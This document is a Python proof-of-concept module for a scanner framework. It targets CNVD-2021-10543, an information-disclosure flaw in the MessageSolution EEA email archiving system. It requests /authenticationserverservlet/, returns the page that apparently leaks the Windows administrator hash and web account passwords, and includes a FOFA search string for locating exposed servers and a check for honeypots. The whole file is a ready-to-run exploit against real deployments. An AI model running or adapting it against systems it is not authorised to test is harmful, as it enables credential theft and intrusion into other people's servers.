# coding:utf-8 import requests from lib.core.common import url_handle,get_random_ua from lib.core.poc import POCBase # ... import urllib3 urllib3.disable_warnings() class POC(POCBase): _info = { "author" : "jijue", # POC作者 "version" : "2", # POC版本,默认是1 "CreateDate" : "2021-06-09", # POC创建时间 "UpdateDate" : "2021-06-09", # POC创建时间 "PocDesc" : """ 原POC逻辑过于简单,优化一下有所缓解 """, # POC描述,写更新描述,没有就不写 "name" : "MessageSolution企业邮件归档管理系统 EEA 信息泄露", # 漏洞名称 "VulnID" : "CNVD -2021-10543", # 漏洞编号,以CVE为主,若无CVE,使用CNVD,若无CNVD,留空即可 "AppName" : "MessageSolution企业邮件归档管理系统 EEA", # 漏洞应用名称 "AppVersion" : "", # 漏洞应用版本 "VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天,格式:xxxx-xx-xx "VulnDesc" : """ MessageSolution企业邮件归档管理系统 EEA是北京易讯思达科技开发有限公司开发的一款邮件归档系统, 该系统存在通用WEB信息泄漏, 泄露Windows服务器administrator hash与web账号密码 """, # 漏洞简要描述 "fofa-dork":""" title="MessageSolution Enterprise Email Archiving (EEA)" """, # fofa搜索语句 "example" : "", # 存在漏洞的演示url,写一个就可以了 "exp_img" : "", # 先不管 } # timeout = 10 def _verify(self): """ 返回vuln 存在漏洞:vuln = [True,html_source] # html_source就是页面源码 不存在漏洞:vuln = [False,""] """ vuln = [False,""] url = self.target + "/authenticationserverservlet/" # url自己按需调整 flag = """administrator""" headers = {"User-Agent":get_random_ua(), "Connection":"close", # "Content-Type": "application/x-www-form-urlencoded", } try: """ 检测逻辑,漏洞存在则修改vuln值为True,漏洞不存在则不动 """ req = requests.get(url,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False) if req.status_code == 200 and flag in req.text: vuln = [True,req.text] else: vuln = [False,req.text] except Exception as e: raise e # 以下逻辑酌情使用 if self._honeypot_check(vuln[1]) == True: vuln[0] = False return vuln def _attack(self): return self._verify()